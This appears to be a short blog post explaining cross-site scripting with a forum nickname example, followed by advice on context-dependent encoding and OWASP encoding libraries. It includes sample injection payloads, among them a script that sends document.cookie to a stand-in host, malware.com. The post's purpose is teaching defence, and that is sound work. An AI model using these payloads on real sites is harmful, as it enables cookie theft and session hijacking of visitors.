Cross-site scripting (XSS)

 
 
  • Gérald Barré

This post is part of the series 'Vulnerabilities'. Be sure to check out the rest of the blog posts of the series!

#What's XSS?

A Cross-Site Scripting (XSS) vulnerability allows you to inject code into a web page. This can occur when the website displays content that is entered by the user without sanitizing it. The injected code can be HTML, CSS, JavaScript, or VBScript that will be interpreted by the victim's browser.

Consider a forum where users must enter a nickname during registration. This nickname is displayed on every page where a message is posted. If the nickname is Meziantou, there is no problem. However, if the nickname is <script>alert('toto')</script>, the website must sanitize the input by replacing angle brackets with &lt; and &gt;. If it fails to do so, the script runs every time that nickname appears, and all visitors to the forum are potentially affected.

As mentioned, an attacker can inject any code they want. Here are some examples of what can be injected.

  • Display an iframe (potentially containing malicious code)

    HTML
    <iframe src="https://malware.com" />
  • Show an annoying popup

    HTML
    <script>alert('pwned')</script>
  • Steal cookies

    HTML
    <script>document.location='https://www.malware.com/?'+document.cookie</script>

The user is redirected to a URL like https://www.malware.com/?CurrentUICulture=fr-FR;%20testcookie=value, which sends all cookies from the visited site to the attacker.

  • And many other things…

#How to guard against it?

The solution is to encode special characters, but this is not straightforward since the required encoding depends on where the text is inserted.

HTML
<div>TEXTE</div>         In an HTML tag
<script>TEXTE</script>   In a script tag
<!--TEXTE-->             In an HTML comment
<div TEXTE=test />       In an attribute value
<TEXTE href="/test" />   In the name of a tag
<style>TEXTE</style>     In a stylesheet
<a href="TEXTE">clickme</a>                In an url
<a href="/index?value=TEXTE">clickme</a>   In an url parameter

In the first case, encoding HTML entities (replacing & with &amp;, " with &quot;, etc.) is sufficient, whereas the last case requires URL encoding (Percent-encoding).

OWASP provides encoding libraries for many languages (ASP, PHP, Ruby, Python, Perl, and JavaScript), and other equally capable libraries are available. For .NET, there is the Anti-XSS Library.

For more information about how to prevent XSS attacks, I'll let you read the OWASP guidelines.

Do you have a question or a suggestion about this post? Contact me!

Follow me:
Enjoy this blog?